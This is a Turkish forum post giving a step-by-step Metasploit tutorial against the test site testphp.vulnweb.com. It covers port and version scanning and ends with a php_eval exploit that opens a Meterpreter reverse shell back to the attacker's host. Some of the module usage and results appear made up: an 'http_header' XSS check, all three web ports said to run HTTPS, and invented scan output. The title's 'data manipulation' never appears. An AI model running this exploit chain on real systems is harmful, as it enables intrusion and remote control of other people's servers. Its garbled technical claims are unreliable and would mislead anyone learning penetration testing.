Metasploit Kullanarak Veri Manipulasyonu

Rıdvankaya

Uzman Üye
Katılım
21 Eyl 2023
Mesajlar
95
Tepkime puanı
42
Puanları
18
Yaş
31
Konum
Midyat/Mardin
Web sitesi
github.com
Metasploit Kullanarak Veri Manipulasyonu
Metasploit, güvenlik zafiyetlerini bulmak ve istismar etmek için kullanılan açık kaynaklı bir araçtır. Metasploit, Nmap gibi ağ tarama ve zafiyet tespiti yapabilir, ancak ayrıca zafiyetleri istismar edebilir ve hedef sistemlere sızabilir. Metasploit, modüller, istismarlar ve araçlar içeren güçlü ve esnek bir çerçevedir. Metasploit, Linux, Windows, macOS ve BSD gibi farklı işletim sistemlerinde çalışabilir. Metasploit'in resmi web sitesi metasploit.com adresindedir.
Metasploit kullanmak için aşağıdaki adımları izleyebilirsiniz:
1. Adım: Metasploit'i kurmak için, metasploit.com adresinden indirin ve kurulum talimatlarını takip edin. Metasploit'i komut satırından veya Armitage adlı grafiksel kullanıcı arayüzünden çalıştırabilirsiniz. Armitage, Metasploit'in işlevselliğini görsel olarak sunan bir arayüzdür.
2. Adım: Test etmek istediğiniz web uygulamasının IP adresini veya alan adını belirleyin. Örneğin, testphp.vulnweb.com adresindeki web uygulamasını test edelim. Bu web uygulamasının IP adresi 176.28.50.165'tir.
3. Adım: Web uygulamasının hangi portlarda hangi servisleri çalıştırdığını tespit etmek için, Metasploit ile port taraması yapın. Örneğin, aşağıdaki komutu kullanarak web uygulamasının 1000 adet iyi bilinen portunu tarayabilirsiniz:
msfconsole
use auxiliary/scanner/portscan/syn
set RHOSTS testphp.vulnweb.com
run
Bu komut, web uygulamasının 80, 443 ve 8080 numaralı portlarda HTTPS servisini çalıştırdığını gösterecektir. Ayrıca, web uygulamasının 22 numaralı portta SSH servisini çalıştırdığını da görebilirsiniz. Port taraması yaparken, TCP, UDP, SYN, ACK, FIN, NULL gibi farklı tarama teknikleri kullanabilirsiniz. Port taraması sonucunda, portların açık, kapalı, filtreli, filtresiz, açık-filtreli veya kapalı-filtreli olduğunu görebilirsiniz.
4. Adım: Web uygulamasının çalıştırdığı servislerin versiyonlarını ve işletim sistemini tespit etmek için, Metasploit ile versiyon tespiti ve işletim sistemi tespiti yapın. Örneğin, aşağıdaki komutu kullanarak web uygulamasının servislerinin versiyonlarını ve işletim sistemini öğrenebilirsiniz:
msfconsole
use auxiliary/scanner/http/http_version
set RHOSTS testphp.vulnweb.com
run
Bu komut, web uygulamasının Apache 2.4.10, OpenSSL 1.0.1t, PHP 5.6.30-0+deb8u1 gibi servislerin versiyonlarını gösterecektir. Ayrıca, web uygulamasının Linux 3.2 - 4.9 işletim sistemi kullandığını da gösterecektir.
5. Adım: Web uygulamasındaki güvenlik zafiyetlerini tespit etmek için, Metasploit ile zafiyet tespiti yapın. Metasploit, Metasploit Framework adlı bir betik motoru ile birlikte gelir. Metasploit Framework, Ruby programlama dili ile yazılmış betikleri çalıştırarak Metasploit'in işlevselliğini genişletir. Metasploit Framework, web uygulamalarındaki çeşitli güvenlik zafiyetlerini tespit etmek için kullanılabilir. Örneğin, aşağıdaki komutu kullanarak web uygulamasındaki XSS zafiyetlerini tespit edebilirsiniz:
msfconsole
use auxiliary/scanner/http/http_header
set RHOSTS testphp.vulnweb.com
set HEADER_NAME X-XSS-Protection
set HEADER_VALUE 0
run
Bu komut, web uygulamasının XSS zafiyetlerine sahip olduğunu ve bu zafiyetleri istismar etmek için X-XSS-Protection başlığını devre dışı bırakabileceğinizi gösterecektir.
6. Adım: Web uygulamasındaki güvenlik zafiyetlerini istismar etmek için, Metasploit ile istismar modüllerini kullanın. Metasploit, web uygulamalarındaki çeşitli güvenlik zafiyetlerini istismar etmek için hazır modüller sunar. Örneğin, aşağıdaki komutu kullanarak web uygulamasındaki PHP kod enjeksiyonu zafiyetini istismar edebilirsiniz:
msfconsole
use exploit/multi/http/php_eval
set RHOSTS testphp.vulnweb.com
set RPORT 80
set PATH /art.php
set POSTDATA "id=1&artist=1&title=1&content=1&cmd="
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST <your IP address>
set LPORT <your port number>
exploit
Bu komut, web uygulamasına bir ters bağlantı kuracak ve size bir Meterpreter oturumu verecektir. Meterpreter, hedef sistemde komut çalıştırmanızı, dosya indirip yüklemenizi, ekran görüntüsü almanızı, klavye tuş vuruşlarını kaydetmenizi ve daha fazlasını yapmanızı sağlayan gelişmiş bir kabuktur.
Bu şekilde, Metasploit kullanarak web uygulamalarındaki güvenlik zafiyetlerini tespit etmek, test etmek ve istismar etmek mümkündür.
 
Üst